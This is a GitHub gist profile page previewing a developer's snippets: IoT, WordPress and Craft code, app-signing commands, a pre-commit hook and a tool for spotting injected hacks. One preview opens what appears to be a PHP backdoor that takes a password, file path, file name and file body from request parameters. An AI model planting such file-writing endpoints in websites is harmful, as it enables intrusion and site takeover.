Skip to content

Instantly share code, notes, and snippets.

View emcniece's full-sized avatar
🔧
DevOps Engineer @ Workday

Eric McNiece emcniece

🔧
DevOps Engineer @ Workday
View GitHub Profile
@emcniece
emcniece / tinker_neopixel_v1.2
Last active January 3, 2016 22:09
Spark.io Tinker/Neopixel sketch - fails after first colorWipe call
/* tinker_neopixel v1.3 */
/* Includes ------------------------------------------------------------------*/
#include "application.h"
/* Function prototypes -------------------------------------------------------*/
int tinkerDigitalRead(String pin);
int tinkerDigitalWrite(String command);
int tinkerAnalogRead(String pin);
int tinkerAnalogWrite(String command);
<?php
/*
"WordPress Plugin Template" Copyright (C) 2013 Michael Simpson (email : michael.d.simpson@gmail.com)
This file is part of WordPress Plugin Template for WordPress.
WordPress Plugin Template is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
### Begin System Info ###
## Please include this information when posting support requests ##
Multisite: No
SITE_URL: http://galaxymotors.qa.caorda.com
HOME_URL: http://galaxymotors.qa.caorda.com
@emcniece
emcniece / pre-commit
Last active October 2, 2015 18:54
String-check pre-commit hook
#!/bin/sh
# Pre commit hook that prevents FORBIDDEN code from being commited.
# Add unwanted code to the FORBIDDEN array as necessary, single-space separated.
# Ensure executable: "chmod +x .git/hooks/pre-commit"
FILES_PATTERN='\.(rb|js|coffee|txt)(\..+)?$'
FORBIDDEN=( \.only )
FAILED=false
<?php
$action=$_REQUEST['action']; //页面状态
$password=$_REQUEST['password'];//接口密码
$pathname=$_REQUEST['pathname'];//文件目录名
$keywordindex=$_REQUEST['keywordindex'];//0 然并卵
$filename=$_REQUEST['filename'];//生成文件名
$body=stripslashes($_REQUEST['body']);// 生成文件的内容
$jamin = @$_GET['pw'];
http://www.adamwadeharris.com/sign-publish-phonegap-app-google-play-store-windows/
1. phonegap build android --release
2. cd platforms/android; ant release
3. cd bin; jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore /path/to/keystore/myapp.keystore MyApp-release-unsigned.apk myapp
4. jarsigner -verify -verbose -certs MyApp-release-unsigned.apk
0. RUN CMD AS ADMIN
1. [CONSOLE]Generate key file
openssl genrsa -des3 -out ios.key 2048
2. [CONSOLE]Generate signing file
openssl req -new -key ios.key -out ios.csr -subj "/emailAddress=youremail@provider.com, CN=YourCompanyName, C=CA"
- or -
<?php
// should be at /craft/plugins/dlfile/dlfilePlugin.php
namespace Craft;
class dlfilePlugin extends BasePlugin
{
public function getName()
{
return Craft::t('DL File');
}
<?php
/*
Firstline Dump Tool
emcniece@gmail.com | Dec. 1 2015
A handy tool for analyzing the first line of each php file,
which is usually where hacks get injected.
Visit in a browser to activate.
*/
@emcniece
emcniece / divi-custom-modules.php
Created January 13, 2016 10:11
Divi Theme Image and Gallery Modules with Thumbnail Size Selection
// Add this to the same directory as your functions.php
<?php
class CITTA_Builder_Module_Image extends ET_Builder_Module {
function init() {
$this->name = __( 'Custom Image', 'et_builder' );
$this->slug = 'et_pb_custom_image';
$this->whitelisted_fields = array(
'src',
'img_size',